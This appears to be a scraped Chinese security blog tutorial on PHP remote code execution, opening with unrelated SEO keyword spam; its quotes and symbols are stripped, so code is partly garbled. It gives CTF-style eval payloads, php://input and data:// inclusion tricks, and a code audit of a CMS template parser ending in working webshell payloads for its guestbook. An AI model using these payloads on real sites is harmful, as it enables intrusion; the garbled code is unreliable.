有哪些好用的设计网站有哪些内容,建设工程教育网站,泉州网站建设方案服务,企业网站手机端和pc端一个后台吗在网络安全领域#xff0c;远程代码执行#xff08;RCE#xff09;漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码#xff0c;从而掌控整个系统#xff0c;带来极大的安全风险。理解RCE漏洞的工作原理#xff0c;并掌握其复现与代码审计技…在网络安全领域远程代码执行RCE漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码从而掌控整个系统带来极大的安全风险。理解RCE漏洞的工作原理并掌握其复现与代码审计技巧对于提升系统安全性至关重要。
本文将深入剖析RCE漏洞的原理展示如何在实际环境中复现该漏洞并提供详尽的代码审计方法。无论您是网络安全初学者还是资深开发者都能从中获得实用的知识和技能。让我们一起解密RCE漏洞提升我们的安全防护能力。 概念 远程代码执行RCE漏洞是一种严重的安全漏洞它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞攻击者可以完全控制受害系统执行恶意操作如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中攻击者通过注入恶意输入并诱使系统执行从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁而且可能导致严重的经济损失和数据泄露因此识别和修复RCE漏洞对确保系统安全至关重要。 利用函数 php eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等 python eval exec subprocess os.system commands java java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数但是有反射机制并且有各种基于反射机制的表达式引擎如OGNLSpELMVEL等 复现 基本使用 源码 ?php
error_reporting(0); //排除错误
if(isset($_GET[c])){ //get传参不为空执行if语句$c $_GET[c]; //get传参赋值给变量cif(!preg_match(/flag/i, $c)){ //过滤flageval($c); //执行c表达式}}else{highlight_file(__FILE__);
}payload
?csystem(tac fla*.php);
?cecho shell_exec(tac fla*);
?ccp fla*.ph* 2.txt;//再访问2.txt即可参数逃逸 源码 ?php
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
?
payload:
?ceval($_GET[1]);1phpinfo();伪协议 源码同上 payload
?cinclude$_GET[a]?adata://text/pain,?system(tac flag.php);?payload2
get?cinclude$_GET[a]?aphp://input
post?php system(tac flag.php);?payload3
?cinclude$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php代码审计 靶场搭建 靶场链接https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwdcong下载靶场在config.php文件中填入授权码安装靶场 流程 导入文件搜索常用的命令执行函数eval 看到eval的来源变量matches 本文搜索matches的数据来源来源于parserSiteLabel函数 全局搜索parserSiteLabel函数看到parserCommom函数 全局搜索parserCommom函数到达AboutController.php 名称与网站对应关系 有前端与后端结合可知前端的留言板是在AboutController.php上的 好了找了怎么久终于终于找到功能点了现在回到最初的eval函数开始绕过 代码 public function parserIfLabel($content){$pattern /\{pboot:if\(([^}])\)\}([\s\S]*?)\{\/pboot:if\}/;$pattern2 /pboot:([0-9])if/;if (preg_match_all($pattern, $content, $matches)) {$count count($matches[0]);for ($i 0; $i $count; $i ) {$flag ;$out_html ;// 对于无参数函数不执行解析工作if (preg_match(/[\w]\(\)/, $matches[1][$i])) {continue;}eval(if( . $matches[1][$i] . ){$flagif;}else{$flagelse;});if (preg_match(/([\s\S]*)?\{else\}([\s\S]*)?/, $matches[2][$i], $matches2)) { // 判断是否存在elseswitch ($flag) {case if: // 条件为真if (isset($matches2[1])) {$out_html $matches2[1];}break;case else: // 条件为假if (isset($matches2[2])) {$out_html $matches2[2];}break;}} elseif ($flag if) {$out_html $matches[2][$i];}// 无限极嵌套解析if (preg_match($pattern2, $out_html, $matches3)) {$out_html str_replace(pboot: . $matches3[1] . if, pboot:if, $out_html);$out_html str_replace({ . $matches3[1] . else}, {else}, $out_html);$out_html $this-parserIfLabel($out_html);}// 执行替换$content str_replace($matches[0][$i], $out_html, $content);}}
payload
留言{pboot:if(eval($_POST[1]))}!!!{/pboot:if}payload2:
留言{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}3phpinfo();
//记得要在后台把状态打开不然无回显头疼通过本次学习我们不仅深入了解了RCE漏洞的原理还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题更是一种意识和态度。通过对RCE漏洞的全面剖析我们能够更好地识别和修复潜在的安全风险从而保护我们的系统和数据安全。
在信息安全的道路上没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助激发您对网络安全的持续关注和兴趣。让我们共同努力构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议欢迎在评论区与我们互动。感谢您的阅读期待您的反馈与分享